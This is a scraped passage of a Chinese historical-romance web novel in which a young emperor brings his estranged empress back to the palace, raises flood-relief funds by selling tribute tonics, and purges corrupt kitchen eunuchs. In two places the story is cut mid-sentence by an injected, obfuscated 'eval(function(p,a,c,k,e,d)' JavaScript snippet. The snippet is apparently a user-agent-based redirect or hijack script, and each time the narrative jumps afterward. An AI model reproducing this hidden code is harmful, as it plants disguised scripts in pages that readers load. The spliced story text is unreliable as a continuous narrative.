让皇帝感觉到肩头上的担子松了是西征首战大捷,苏明伯千里奔袭在雩山岭鸠摩寺斩敌六千人,皇帝就此压住弹劾苏明伯无诏入京的奏疏。眼下最为棘手的事就只剩下洪灾振济,苏萤臣已经到河南去了,皇帝相信有他在水患一定可以疏泄,灾民也会得到安抚。自己则要管好手底下的官员,开国库调钱调粮协助苏莹臣。 每日河南的奏疏送进宫,无论多晚皇帝都会起来批阅。很多时候夜里睡两个时辰就起来披衣阅览奏疏或是百姓的书信,局势逐渐稳定下来。 回过头看,他才发现原来很多事情只有做了才知对错才能改正,踌躇犹豫固步自封事情只会越拖越烂。不知不觉中他也把那批不听话结党的官员都换掉了,六部里多了很多年轻新鲜的面孔,不管对不对都会勇于直言时政。有时皇帝做的不对,还会上书驳斥,他们不仅只是看着皇帝照章办事了。 皇帝很开心,以前挨骂只觉得肚子里窝火,如今到是觉得心情痛快了。早朝的脾气也越来越好了,会和臣子说笑,遇到政务繁忙的时候还会赐朝食,一同在太和殿前用后议完事才回宫。 后来一日早朝,年轻的大臣们都在太和殿下激烈的讨 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皇帝还恍惚着呢,把大福当成议事的官员不停的问。走到御案后坐下,粥还没吃上,抬手去取桌上的奏疏。大福看见放下粥连忙抢下,心疼道: “万岁爷还不爱惜些自己,都累到从龙椅上滚下来了,您是要吓死满朝大臣和奴婢们吗?奴婢告诉您黄河缺口堵住了,眼下要紧的难关都过了,剩下的事可以慢慢来了。万岁爷不许再这般觉也不睡的拿命拼了,只许看苏老先生这一封奏疏。看完就喝粥,回床上再好好睡一觉。” “朕的身子朕知道,朕还年轻呢。不怕,拿奏疏给朕看看。” “铁打的身子也不能不吃不睡的折腾,先帝爷也年轻还不是…..” 三福失言连忙闭嘴,不情不愿的把奏疏和粥一起放在皇帝面前。但皇帝却脸色却呆滞了,手指摩挲着奏疏上的苏萤臣的苏字想起了苏娘子。 先帝早逝,驾崩时候不过二十三岁,还正当壮年。平日里身体强健的跟头牛似的,酷爱围猎使重弓重箭,一天能猎两头老虎。可就是子嗣不兴,十八岁有了第一个皇子,生下来就被立为太子储君,但孩子还没到序齿就夭折了。 朝臣们都道皇帝、皇后都还年轻总会再有孩子,可是谁也没想到先帝在围场会被一根铁丝划破胳膊要了命,皇帝这才被苏萤臣里提溜出来了被迫等上了帝位。 至于怎么知道景阳宫里有为庶出的皇子苏萤臣从不说,但拿出了当年敬事房的档案,并有景阳宫的为人证。人们这才知道原来先帝曾临幸过一个景阳宫的罪婢,一年后生下了一个男孩比太子甚至都年长一岁,叫他为景阳宫小皇子。 后来景阳宫小皇子成了新君,一路磕磕绊绊走到今日,身后无一人可依。他时常在想如果自己是堂堂正正的皇子该多好,想先帝没死就把认子了他也会有父亲,想那个生下他的时候才不到十四岁,很快就死去了的母亲活着该多好,她可以不用是尊贵的皇后妃嫔,只是一个小小的罪婢,只要能够陪在他身边就好了。 可什么都没有,他们都死了,连他自己也质疑自己身份,可真的是皇子。 皇帝不自觉落下眼,慌忙的用手背擦拭遮掩。大福看见了过去干净的手帕,担忧的问:“万岁爷您怎么了,怎么哭了?可是哪里还不舒服,奴婢去传太医来。” “没有,朕很好。”皇帝拿起勺子大口大口的吃粥,右眼却止不住的掉眼泪,“大福朕听你的,好好吃饭,好好睡觉。朕要活的很好很好,长命百岁,朕才不要做个短命皇帝。朕还要去接皇后回宫,陪着她长长久久,亲自教养我们的孩子,看着他亲政做一个百姓爱戴的皇帝。” 大福欣慰的笑,伺候皇帝用膳,批完苏萤臣的奏疏就上床睡觉了。梦里他又梦见苏娘子了,还是在她的小小青竹院里阁楼里。天色大亮,落着温暖的阳光,他从她的拔步床里醒来。睁开眼就看见苏娘子抱着一个粉糯米团子,抓着小拳头对他挥挥手,甜甜道: “…..叫父皇啊,叫父皇…..” 皇帝惊呆了,瞧着那小不点,说话声音直发抖。 “…..念念,他…..他是谁?” “笨蛋,我们的儿子啊!” “啊?” 他明明记得没碰过皇后的,怎么突然冒出那大的儿子了。 皇帝懵了,使劲眨了好几下眼睛。醒过来,苏娘子和孩子果然不见了。寝殿安静的只有滴漏悠长的水声音,皇帝不自觉得笑了,浅浅的勾起嘴角,心不再有想起苏娘子时候的疼了。 念念,明日朕来接你回家好吗。 他又闭上眼睛,再睡着一夜无梦。 30. 第 30 章 皇帝带着三福、四福驾车去苏家接苏娘子回宫,自那夜仓皇逃离后,他已经快要两个月没来过苏家了。期间苏萤臣背着家人偷出京,第二日文夕夫人就知道了,为此大病了一场。皇帝得知消息后派了太医来,但被文夕夫人据之门外了。他还是关注着苏家的动向,但不敢再轻易去打扰了。 直到今日局势稍事好转,文夕夫人的病也好了才敢来。一早先派了人来知会,早朝后就直接从太和殿出来了。 苏家还是不欢迎他,大门紧闭着,连后门也锁了。皇帝带着一大帮人杵在江米巷里有些尴尬,周围挤满了围观的百姓。 他的名声在坊间一直都不太好,如今苏娘子的名声为章钦所累也算不得太好。人们或许认为章钦该死,但肖小姐是无辜的。她的死虽然官府最终认定为章钦打死,事实也如此,但民间依旧还会有人议论苏娘子和肖小姐的死脱不了干系。 为此甚至有多事的言官趁机上书皇后不德,请求废后。皇帝统统留中不报,依旧他们弹劾他们的,自己的干自己的。 他只是怕文夕夫人误会,可是他一直以来的行径仅凭一张嘴,解释又会是那般的苍白无力。从苏萤臣离京的那天晚上起,他开始不再像以前那样咋咋唬唬的,急于表现证明自己,遇到事就让人剖开自己的心来证明真假了。 “三福,再去敲敲门,请长伯去告诉皇后朕来接她回宫了。” “哎好,万岁爷。” 三福跑到门前敲了敲门传递了皇帝的话,没一会儿回来失望的摇了摇头。 “万岁爷,皇后娘娘被禁足了,文夕夫人哪儿都不许她去,也不许府下给您开门。” “好,日头还早,我们再等等。” 皇帝钻进马车里,逮着点空档批复了铜陵迁民的奏疏,让随行的司礼监太监送到通政司。到了召对礼部商讨秋闱的时辰,皇帝放下手中的奏疏跳下车,亲自去敲了门。 “长伯是朕,朕还有政务要忙先回宫了。麻烦您告诉皇后,朕明日得空了再来接她。” “皇上您别来了,夫人不会让娘子跟您回去的。”长伯贴着门缝看皇帝,瞧这他模样可怜,无奈道:“夫人不让下人往青竹院去,娘子根本不知道您来了。皇上回去吧,别再来了。” “没事,朕得空了就来。长伯您保重,朕先回宫了。” 皇帝落寞转身,苏家大门却突然打开了,一道熟悉的声音哽咽着喊住。 “你不是来接我的吗?怎么可以就这样回去了…..混蛋!” “念…..念念?”皇帝感觉浑身如遭雷劈一般,一股无形的力量突然击中他的身体,浑身上下都剧烈的疼起来,颤抖着难以为站立。意识、记忆都模糊了,眼睛听不见了,耳朵也听不见了。 很久很久才迟钝的转过身,眼睛却依然还是看不清楚。只能依稀朦胧的看见门下站着一道豆绿色的身影,像碧绿的春水向他奔来,触不及防的撞进他的怀里,润汲他化作了焦土的心肺。慢慢的他能看清楚苏府那块龙飞凤舞的门匾了,听见了百姓的惊呼声。 “是皇后娘娘!” “皇后娘娘出来了!” ….. 皇帝还是落下泪,收拢双臂抱紧怀里的人,长长吁出胸口中的一口浊气。 “….跟朕回宫好不好,朕来接你回家了,念念…..” 他拉着苏娘子的手腕,笨拙的擦去掉眼泪往轿辇走去。苏娘子却没动,垂眼看着他们交握在一起的双手。 “混蛋,带走她唯一的女儿,你就这么走了吗!” “念念朕…..” 皇帝害怕的回头,不知怎么了,她可是不愿意跟他回宫了。 “我娘被你气病了!” “朕…..”皇帝脑子飞快的旋转,想着这句话中的意思,终是在苏娘子嫣红的双眸中明白了,“朕去见师母,求她让朕带你回宫。朕去见师母,现在就去!” 皇帝拉着苏娘子跑进苏府,江米巷里的百姓都伸长了脑袋看,看什么时候皇帝再被文夕夫人打出来。 这次他进去了很久,文夕夫人就坐在花厅正堂中央的圈椅里,手中拿着鞭子。苏三郎抱着脑袋跪在天井下,听见门口的脚步声,惨兮兮的回头。 “…..妹妹。” 文夕夫人太抬眼,冷冷的扫向门口的苏娘子和皇帝,尖叫声音厉叱道:“苏念辞,你给我跪下!” “娘….”苏娘子挣开皇帝的手跑到天井下,跪到三郎身边。文夕夫人红着眼狠狠抽了她一鞭,皇帝看见跑过去挡却还是晚了,只是抱住苏娘子背对着文夕夫人,沉声喊道: “师母,别打念念。是朕,是朕的错,是朕教坏了念念,让她不听您的话,忤逆您!您要打就打朕,不要打她!” 文夕夫人火冒三丈,扬起鞭子疯狂的抽皇帝,“岳凌你以为我真的不敢吗!你是皇帝又如何,只要你敢欺负我女儿,你是皇帝我也敢打!我好好的女儿,你到底给她灌什么迷魂汤了!” “对不起,师母!” 皇帝哭道,紧紧护住苏娘子,听着她的哭声不听的安慰她,“没事,念念,别怕,朕没事。不疼,一点都不疼的,朕的身体可好了。别怕,师母把火发出了就好了,憋在心里会生病的,别怕…..” 等到文夕夫人终于发泄够了,皇帝放开苏娘子,跪着转身面向文夕夫人,哽咽道: “师母,对不起。朕知道朕是个混蛋,您才不愿意把念念交给我!朕现在知道错了,朕一定会改,做一个可以让您信任,让她依靠的男人。朕发誓一定会好好待她一生一世,让她再受到一点委屈。朕也绝不再选妃充实后宫,她会是朕唯一的皇后,唯一的女人!朕在此起誓,他日若有违今日之言便叫朕短折而死!” 皇帝举手起下重誓,花厅里一下安静了。苏娘子听见那些话难过而害怕,可她没有伸手捂住他的嘴巴拦住他。她还是怕,怕这个人不值得她为此与母亲决裂,怕上天真的听到应验了誓言他会死。 文夕夫人却崩溃了,扔下鞭子怒瞪皇帝失声痛骂,“混蛋,你死了我女儿怎么办!她怎么看上你那一个不负责任、滥情的男人!” 皇帝顿时无措了,不知应该怎么办,跪在地下不停的磕头。 “师母,朕不会死,朕会护着念念一辈子,为她遮风挡雨一辈子绝不会先她而去的!” 文夕夫人如突然被抽干了力气一般,倒在椅圈里痛苦的掩面痛哭。 —— 这天皇帝虽然进去苏家很久很久,但天黑前还是把苏娘子带出来了。牵着的她手走出苏府了,还在用袖子擦眼泪,像是个愣头青小子一样呆呆傻傻的。看见了围观的百姓才慌忙收敛情绪,一本正经起来。 上车前,三郎带着小梅花追出来了,手里还捧着一个木盒送到苏娘子手中。 三郎:“妹妹,这是你最爱看的书别忘了。看完了再回来取,一下都带回去万一这小子又弄着火烧没了可真的是没了。” 皇帝面色尴尬,摸摸耳朵,“…..三哥,朕不会了。” 苏娘子:“谢谢三哥,马上秋闱了,三哥好好温习,这段时间为了我让你费神了。” 三郎:“哪里的话,同三哥客气什么。你就是嫁出去了,做了皇后娘娘,也永远都是我的妹妹,三哥永远挺你。好了,快回宫去吧,得空了多回来看看娘,不管她做什么都不要记恨她。” 苏娘子:“嗯,三哥替我照顾好娘。” 皇帝抱过苏娘子手中的盒子,牵着她上了马车,向三郎摆摆手告别。 马车掉头走出江米巷,他突然又追了出来,叫停马车掀开车帘示意皇帝出来。 “三哥怎么了,可是师母她…..” “你小子给我听好了,好好待我妹妹,这些事没有第二回了。” “朕知道,三哥放心。” 皇帝正要钻回车,三郎又拉住了他的手,低声道: “还有马上就秋闱了,你小子别多管闲事。我自己能考上,用不着你帮忙。我虽与你攀上了姻亲关系,但我父亲、大哥、二哥都是凭自己本事考上的科举,苏家就没有一个靠裙带关系做官的,你要敢乱来别怪我和你急!” “这事啊,三哥你真要自己考?” 皇帝面露难色,凭借这早些时候看过三郎做的那些文章,他觉得这次若没有暗箱操作,三郎肯定是好考不上的。他不会做科举文章,虽然没吃过猪肉但还是见过猪跑的,礼部那群老头喜欢什么样的文章他还是知道的。 “不然呢!”三郎急了,皇帝讪讪的闭嘴,“喔,朕知道了。” 三郎这才罢休,让开了道让马车出去。皇帝重新钻进车里挨着苏娘子坐下,动了动手看向她放在膝盖上的手不好意思再牵了。 “念念….” “嗯?” 苏娘子抬眼看他,眸子刚被泪水浸润过,眼眶、脸颊也还红着,像是晚间的木芙蓉带着憔悴的美。皇帝也看她,目光撞在一起揉碎了他们从未说开的情意。他突然一把住抓了她的手,任凭她的挣扎还是不放开,牢牢的包在掌心里。 “肖小姐的事,朕只能告诉你朕没有碰过她,但当初是朕先起意让她进宫服侍太妃的。可后来朕发现肖阁老太过于贪权,朕无法信任那样的外戚,所以朕又把她送出宫了。至于她和章钦的事,朕就不知道。但朕没有证据向你证明朕没碰过她,你相信朕吗?” “所以我和肖小姐是一样的是吗?你相信我爹,所以才抢我,非我不娶是吗?” “……” 皇帝心虚的避开了眼,苏娘子自嘲的笑了。 “岳凌,你喜欢过我吗?” “……”皇帝心虚不已,可又不忍心看她失望难过的脸,连忙抱住她着急道:“念念,朕不知道。朕可以对你说喜欢的,可朕不想骗你。你别难过好不好,朕会对你很好很好,让你做朕的皇后,做朕唯一的女人。册立我们的孩子为太子,让他继承朕的皇位。” 苏娘子靠着皇帝的胸膛还是掉眼泪了,他知道她的情意了有恃无恐,而她却寸步不敢走。 “岳凌,我累了。你让我休息一下,回到宫了再叫我好吗?” “念念你…..” 苏娘子推开皇帝,开在车上疲惫的闭上双眼。不再有为他忤逆母亲时的深情,又恢复了往日的冷淡,像是当初嫁给他只是无奈,跟他回宫也是无奈。 “好。” 皇帝放开她的手,别过脸,眼泪也猝不及防的落下了。 —— 马车进了宫,停在御花园天一门下。皇帝轻声叫醒苏娘子,带着她走进芙蓉池里。 “来这里做什么,不回乾清宫吗?” “念念,朕带你来看我娘。她就在这一池子荷花底下,景阳宫的老太监说,自她的骨灰撒进荷花池里后,荷花便开得一年似一年的艳。你怕吗?朕其实就是想让她看看,朕一生想守护的人。” 苏娘子放眼望去,满池的荷花确实比宫外的艳,荷池里也格外的静,连虫鸣都没有。他们来后突然起了微风,满池都是翻涌的荷叶和舞动的荷花。 但苏娘子是怕鬼的,背后凉飕飕的。皇帝说得情动抱住了她,胸膛的暖意慰着她有些发凉的脸,身子也被他捂暖了。苏娘子一动不动的窝着,听着他说起以往的事。 “…..景阳宫的老太监告诉朕,她是一个温柔的像水一样的番蛮女子,和族人一起被俘充入内廷为奴赎罪,在景阳宫里伺候冷宫里的宫妃,为她们洗衣做饭,甚至是敛尸。有一天我的父亲来到景阳宫临幸了她,一年后在景阳宫的里生下我,那时她还不到十五岁。景阳宫的老太监告诉她父亲一定会来接她和我的,但是一年后她病死在了景阳宫里,父亲也没来接她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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点上灯,她们立刻就看清了床上的人。脱光了衣服钻进了苏娘子的床上,但他没想到这一幕会被小梅看到,尴尬的恨不得钻到地里去。但又不得不板起脸,凶巴巴的命令道: “是朕,小梅这没你的事,出去!” “你…..你要干什么,我不走!娘子别怕,有我在他不敢乱来的!” 小梅护着苏娘子在身后一点都怕皇帝,狠狠的瞪他。苏娘子大怒,咬牙切齿骂道:“混蛋你要干嘛,出去,谁让你上我的床的!小梅把他给我赶出去宫去!” 主仆两人冲上前抢被子赶来,皇帝吓得心都凉了,死死的压住被子。 “你们两个住手,小梅出去!出去,朕里面没穿衣服!” 小梅还是个黄花丫头,男人的手都没牵过。一听皇帝没穿衣服光溜溜的钻进苏娘子的被子里了,脸唰的就涨红了,抓着被子的手也不敢动了。 “…..娘子” “没事,小梅你先出去。” 小梅如获大赦逃命似的跑了,苏娘子转过身,气得浑身颤抖,指着皇帝大骂。 “混蛋,你给我起来,穿好衣服出去!你再敢不经我同意上我的床,我打死你!” 皇帝也慌了,赶紧爬起来,用被子捂住自己伸手去够衣服穿。刚套上裤子突然丢下衣服,光着膀子下床从身后缓缓的抱住了苏娘子发抖的身子。 “对不起,朕不是故意要惹你生气的。念念,朕很想很想你。” 他知道她的情意的,几乎是有恃无恐,紧贴着她的身子,像是醉了酒一样抱住她,想要吻她再看看她为自己情动的模样。 可她总不愿意在他面前表现出一丝一毫,转过身抬手就给了皇帝一巴掌,好在他反应快躲过去。苏娘子身子往前一倾险些栽到地下,皇帝手疾眼快的揽住她。 “你别生气,朕只是….只是想和你住在一起,不然外面又要传帝后不和了。朕不知道你不愿意,朕马上出去!” 皇帝实在编不出好借口,捡起衣服连滚带爬的跑出去殿。苏娘子望着他狼狈的背影扑哧笑了,抬手摸摸脸颊,上面还有他贴过来留的温度。然后叫了安心姑姑进殿,写了张纸条命她交给皇帝。 这会儿皇帝已经跑出乾清宫了,披着龙袍难过的和三福走在宫道上。 “三福,朕是不是又惹皇后生气了。可朕不是故意的,我们的关系好不好容易缓和了,朕不想办法留在乾清宫,以后怕没机会了,外间该又说帝后不和离间朕和皇后。” 三福听的这话大翻白眼,恨铁不成钢的看着皇帝。 “万岁爷,您这脑子到底是好使还是不好使?您自己说说脱光了钻皇后娘娘的被窝就是想盖被子聊闲天?娘娘才回来,您得给她点时间啊!奴婢知道您想着趁现在机会好,和娘娘更近一步。那您该说的和她说啊,甜言蜜语的哄哄,娘娘不就愿意了。人家马车上问您的时候,你非说不知道喜欢不喜欢人家。奴婢都快被您急死了,说一句喜欢皇后娘娘会死吗?您要早说,娘娘这会儿肚子里都该有动静了!” “可是朕不想骗她….”他真的不知道自己喜不喜欢她,爱不爱她。 “得,那您就别着急….” 三福气的无话可说,两人争执不下的时候,安心姑姑来了。 “参见万岁爷,皇后娘娘说让您每个月初一、初五、十五、二十五宿乾清宫,这是娘娘亲手写的纸条。” 皇帝接过安心姑姑,嘴角便高高的翘起来,脸红的有些不好意思,“请姑姑回去告诉皇后,朕一定来。” “好,万岁爷慢走,奴婢回去复命了。” 安心姑姑回去了,皇帝揣着那张染着墨香的纸笺反复的闻,放在唇边小心翼翼的吻。三福看见他傻不愣的样子无奈的摇头,说皇帝心里没有皇后他是不信。只可惜皇帝是个笨蛋,不知皇后娘娘可是看清楚这个笨蛋了。 31. 第 31 章 回宫刚好是初六,按照苏娘子定下的日子,皇帝得要掰着手指头数四天才能宿在乾清宫。他知晓苏娘子是把他的话听进去了,怕外间再传帝后不和的流言。至于苏娘子本人的意思,皇帝不是很能理解觉得喜欢自己并不是什么丢脸的事,不明白她愿意与自己回宫,却不愿意承认她喜欢他甚至是同他修好。 但皇帝不想再惹苏娘子生气了,也不想骗她再像从前那样说些违心的话。如三福说的那样别着急慢慢来,至少他们的关系缓和了。他知道她的心,她也让步了每个月给了他四天夜宿乾清宫的机会。他们私下单独的时候会变得多了,朝夕相处他相信她总还会再表现出来热烈的爱意的。 掰着手指头,左右拉右手,数了四天。到初九那天,皇帝早早的就结束政务了,司礼监送来河南的奏疏,他就已经钻进水房里沐浴更衣了。出来的时候身上浓厚的龙涎香都飘到殿门外了,大福接过奏疏没回头看见人,没听见脚步声就知道皇帝出来了。赶紧捧着奏疏跑了进去,喊道: “万岁爷,河南的奏疏送来了。您今日怎么了,心情这般好,平日里鲜少见您熏那么重的香。” 皇帝抬手闻闻自己的袖子,坐到御案后示意把奏疏递过去,“重吗?朕觉得还好。” “不重,万岁爷的龙涎香最是好闻了。” 大福赶紧把奏疏递给皇帝,翻开奏疏后脸色就沉重了。皇帝让大福把吏部国库存银的奏疏找出来,对上几个月来平乱振灾的开支已入不敷出了,兵部还必须预备二佰万两兵备银不能动,秋水又还未收上国库。 先前河南黄河决堤,下了旨悬赏救灾。群策群力,河南的灾情确实控制住了,地方通政司还募集了一批治水之士协助苏萤臣疏洪救灾。 眼下到了兑现承诺了,地方请拨赏银的奏疏还是苏萤臣署名上疏的。可国库没有盈余了,说过的话又不能耍赖皮。这事决计事没错的,否则他也不会带头上疏了。 皇帝琢磨了一阵觉得还是要弄银子,不择手段的弄银子。又翻出来一个名叫冯忠请求开矿的民书,那人只说自己发现京郊黑云山上有银矿,请求朝廷开矿。 但是那地方离皇陵很近,皇帝开始觉得不能在老祖宗头上动土没理会,这会儿他有点想法了,想叫锦衣卫去探探。真的有矿就把离皇陵远的开了,以解燃眉之急。但此事万不能让言官知道,只能偷偷的派太监出宫去。 皇帝打定主意明日就派锦衣卫去,今日还要有更要紧的事。放下奏疏理理衣服就要叫大福备轿,安心姑姑却到了。 “万岁爷,皇后娘娘说上回日子算错了,初五、十五您不能宿乾清宫。娘娘重新了定了日子,初一、二十五您再来。” 皇帝呆住了,皱眉很是不高兴,日子不但改了还减了。这回苏娘子没有写纸条,安心姑姑传了话就走了。皇帝生了一下午的闷气,想想还是觉得气不过。明知道改了日子还是冒冒失失的跑到乾清宫去了,宫里的大黄狗看见皇帝还是凶,要被小梅连着骂好几声才闭嘴。然后跑到苏娘子身边,威风凛凛的守着。 皇帝来的刚好是晚膳时辰,御膳房的太监送膳进养心殿没看见皇帝,跟着屁股后就到了乾清宫。苏娘子也在吃饭,看见皇帝和他身后乌泱泱的一大帮人像是来兴师问罪的,脸色很不好,冷冰冰的。 “你怎么来了,我不是让安心姑姑去传话让你二十五再来吗?” 安心姑姑解释道:“娘娘,奴婢去了的。” 皇帝一屁股坐到苏娘子面前,刚想生气眼睛就瞟到了她面前的四物暖宫汤,飘着淡淡的药味和红糖的香甜。立马就变了另外一副嘴脸,“朕….朕一个人吃不下饭,想你乾清宫热闹,特意过来吃饭。” 御膳房的太监实很会察言观色,皇帝话音一落就麻利的把皇帝的饭桌摆了上桌。全份大大小小四十八道菜,把皇后的三菜一汤挤到了边边上,还单独加了桌才勉勉强强放下。 “你….你怎么了,为什么吃药?又为什么吃的那么少,皇后按制一晚膳二十道膳,你怎么只有三菜一汤。” 皇帝等着大福布菜,一问就挨了苏娘子一记白眼,不耐烦道:“我又不是猪,吃不了那么多。” 皇帝脸上火辣辣的,其实他也吃不了四十八道菜,但祖宗定制吃饭都要管,他也没办法毕竟是皇帝总的要有皇帝的排场。 可苏娘子还是没有回答他的问题,皇帝闷闷的又问:“朕问你怎么了,为什么吃药?” 苏娘子不搭理他,远远的望着桌上的那道十全十美大补汤,飘着两个狗肾,一整根鹿鞭明晃晃的飘在汤里,也飘着淡淡的药味。 “那是什么?” 苏娘子指着汤问,皇帝尴尬的只想抱着他的十全大补汤藏起来。两个人各问各的,安心姑姑没忍住嘴快道:“回万岁爷,娘娘的小日子到了,肚子疼喝的四物暖宫汤,补气养血的。娘娘,那是皇上的十全大补汤壮阳的。” “….行了,知道了。” 两个异口同声制止,尴尬的别开眼,下一刻又不约而同的偷偷抬眼看对方,没忍住扑哧笑出来。 “你不会真的不行了吧!” “你肚子还疼吗?” 皇帝问,苏娘子不好意的别开脸抿嘴笑,安心姑姑也笑了。 苏娘子:“好多了,今日是第一天会疼些,明日就不会那么疼了。” 皇帝:“朕才没有,朕也早就好了。” 他真的很害怕苏娘子揪着问自己到底行不行的事,赶紧岔开话道:“念念,师父来奏疏了,请朕拨河河南的悬银。可国库里没银子了,朕的内库里也是空空如也。朕想开矿,你看怎么样?大臣们肯定是不同意的,朕想想偷偷把事办了,也好多个进项。” 苏娘子喝着自己的四物暖宫汤,淡淡的把先帝开矿丰功伟绩念了一遍,“玄武二十年,先帝开采关度山银矿,花了五万两,开出三万六千两百银。开矿莫说入不敷出,你想不经朝廷让太监去办,你管得住手底下的太监了?” 不用说了,她觉得不行。皇帝讪讪的闭嘴了,又想了一个招。 “那你说让大臣们捐银子行不行,就说协助大工修缮坤宁宫、钟粹宫。反正他们一个个富得流油,这些年来没少捞银子,朕让他们出出血。” “愚蠢,你以为这样就能让他们出血感觉到痛了?你做皇帝搜刮百官,底下的官就能十倍百倍的搜刮到百姓头上。” “那….那要怎么办?这也不行,那也不行。朕的圣旨早就下了,这下朕拿不出赏银来了,岂不是失信于天下,失信于百姓?” “要多少银子?” 苏娘子盯着皇帝的那碗十全大补汤。 “三万两。” “把你那碗汤卖了。” “啊?” 皇帝一脸茫然瞧着自己的十全大补汤,没明白。 “真的是笨死了!”苏娘子嫌弃道,伸手把汤端到自己面前,夹起汤里的鹿鞭,“我问你,这东西有多少?” “很多,朕还没子嗣,大臣都怕朕不能生了进献了很多。两三百根是有的,朕还吃掉不少。不过品种不一样,有鹿鞭、虎鞭、狼鞭…..乱七八糟的。” 苏娘子笑了,狡黠的看着皇帝,“你知道民间有多少人稀罕这东西,特别是上了年岁的,还想着重整雄风生儿子的。民间一根上好的鹿鞭一百多两银子有的是人买,你这还是贡品,市价自然不会低。去找个信得过,办事得力的太监来,把库里存的拿出宫去卖了。” 皇帝没想到有一天还要落到到卖宫中物品过日子,有些下不去脸,但又挨不住苏娘子的白眼,只好喊了四福来。 苏娘子用完膳把几个月来大臣进献鹿鞭的奏疏对了一遍,除去皇帝吃掉库里应该还有一百三十根,加上皇家贡品溢价卖上二百两一根赏银差不多就有了。 苏娘子还写了个名单交给四福,“你是皇上信的过的人,这批鹿鞭我给你的价是二百两,剩下的你卖上多少都归你自己。” “娘娘放心,都是宫里好东西,外面有的是人要。” 四福揣着苏娘子给的纸条笑眯了眼,带着皇帝口谕去御膳房取东西,不到半会儿功夫人就跑回来了。 “万岁爷,皇后娘娘,御膳房就剩这几根了。全被御膳房那帮孙子贪墨了,还都是上好的鹿鞭、虎鞭。” 放在苏娘子和皇帝面前的只有三十个锦盒,皇帝看见都傻眼了,连忙解释道:“….念念,朕发誓不是朕吃的!这东西太补了,太医让朕悠着点,御膳房最近都是三天才做一根!” 苏娘子大翻白眼,不想同他说话。叫三福、四福抱上盒子,大福拿上进献清单去了御膳房。皇帝紧跟在苏娘子身边,知道她定是要去找那帮太监对峙的。他知晓那帮老油子人精是什么德行,紧张的提醒她,“念念,他们肯定不认的,朕早就知道他们在到卖宫里的东西中饱私囊了,但是朕没证据。” 苏娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我饶不了您的命,公公。您是御膳房总管太监,库里价值几万两的东西丢了,这是难道不该有个说法?从前我没进宫,后宫无主有些规矩就乱了。如今我来了,该讲的规矩就要讲起来。丢的这些东西我也就不问去处了,三天内您不能照价赔偿就自己去慎刑司领二十棍,滚出宫去!” “皇后娘娘,饶命!奴婢不敢了,再也不敢了!” 老太监磕头如捣蒜的求饶,苏娘子已经起身离开了,御膳房大大小小的太监站成一片,默默的看着。 出了御膳房,皇帝紧挨着苏娘子走,忍不住时不时的头看她,小声的感慨道:“念念,你好厉害,平日里朕都拿那帮太监没办法的。” 他不仅拿御膳房的太监没办法,连自己手下的太监也管不住。回到乾清宫,大福、三福、四福都退了,苏娘子又让人把四福单独叫了回来了。 “剩下的五十根东西呢,拿出来!” “皇后娘娘,什么意思?” “还要我再说一遍?” 苏娘子不怒自威,坐在紫檀木圈椅里,冷冷的扫视四福。 “娘娘慧眼如炬,果然什么都瞒不过您。”四福跪下磕头,心悦诚服,“东西奴婢就不还给娘娘了,奴婢会为娘娘卖出高于娘娘出价的三倍的价格,届时所有银两奴婢双手奉上一分不要。” “该是你的你就拿着,下不为例。实心去为皇上办事,银子少不了你的。若还敢耍花招,我的眼睛里可是容不得沙子的。御膳房总管的位置空下来了,你有合适的人就推给皇上。” “是,娘娘。” 四福磕头请安退出殿,到殿门就悠闲的吹起口哨往景阳宫去了。皇帝从宫道后走出来,瞧了瞧四福背影,又透过窗缝往了眼窝在圈椅里揉肚子的苏娘子,淡淡笑起来,轻轻掩了窗走到宫道上。 三福看见他跑过来,满头大汗,喊着:“万岁爷,您去哪儿了?奴婢到处找您,今夜还宿在乾清宫吗?” 皇帝摆摆手,“不了,皇后心情不好,别去烦她。过两日再来,然后你去司礼监把朝廷、宫里的开支账目、奏疏都找出来,二十五那夜搬到乾清宫来。” 三福不明白,一个月拢共就剩两天歇在乾清宫了,奏疏什么时候看不完非要二十五搬到乾清宫瞧。 “万岁爷,二十五您别看奏疏对账了,还是看皇后娘娘吧。” 皇帝负手在宫道上闲庭信步,好不自在道:“那就皇后瞧账册,朕瞧皇后好了。” 三福还是不明白,“万岁爷,您这脑子真的是一会儿好使,一会儿不好使。” 32. 第 32 章 左手拉右手的日子挨了半个月,终于到了二十五日。早朝散后,皇帝带着大福,搬着两摞人高的奏疏就大张旗鼓的去乾清宫了。 时辰还早,不过辰时。苏娘子昨夜整理苏萤臣这些年来的治河手稿,不小心熬了夜到子时才休息。皇帝来时还在睡着,睡梦中被殿内搬桌声吵醒有些温怒,披衣而起走出寝殿。 “你怎么来了,现在才什么时辰。” 皇帝回头就看见苏娘子披着豆绿色的轻纱罗衣,散着乌发有些乱,脸色温怒,像只是被入侵了领地的狮子猫一样,咕噜咕噜的哼气示威。 “念念,今日二十五了,你说的朕今日可以宿在乾清宫的。” “现在才什么时辰,你现在就要睡觉,今日政务什么都不干了吗?” 苏娘子走到皇帝身边,经过自己的书桌随手抽了一只笔筒里的毛笔,素手轻轻一挽拢起长发,在脑后挽出一个简单的堕马髻。 “时辰还早,你晚上再来。” “朕不,念念。朕想好了,二十五这日你一整天都是朕的,朕要从早到晚都和你在一起。你看你的河书,朕批朕的奏疏,咱们互不打扰。午时咱们一起用膳,一起小憩好不好?” 皇帝歪到苏娘子的书桌上,胳膊压住了她收拢起来的手稿,撑着脸眼巴巴的抬眼望着她还惺忪着的睡颜。 “你爱干嘛干嘛,起开,别压坏我的东西。” 苏娘子推开皇帝,麻利的收起自己的书稿,放进书桌后的木箱里。 皇帝凑过去从她肩膀后伸出脑袋,认出那只盒子是回宫那天苏三郎送出来的那只。那时里面是一些治河书和苏萤臣发黄了的手稿,现在已经积累了厚厚一摞崭新的纸笺,书写着苏娘子娟秀的笔迹。 “念念,你写那么多东西干嘛?你想出书吗?” 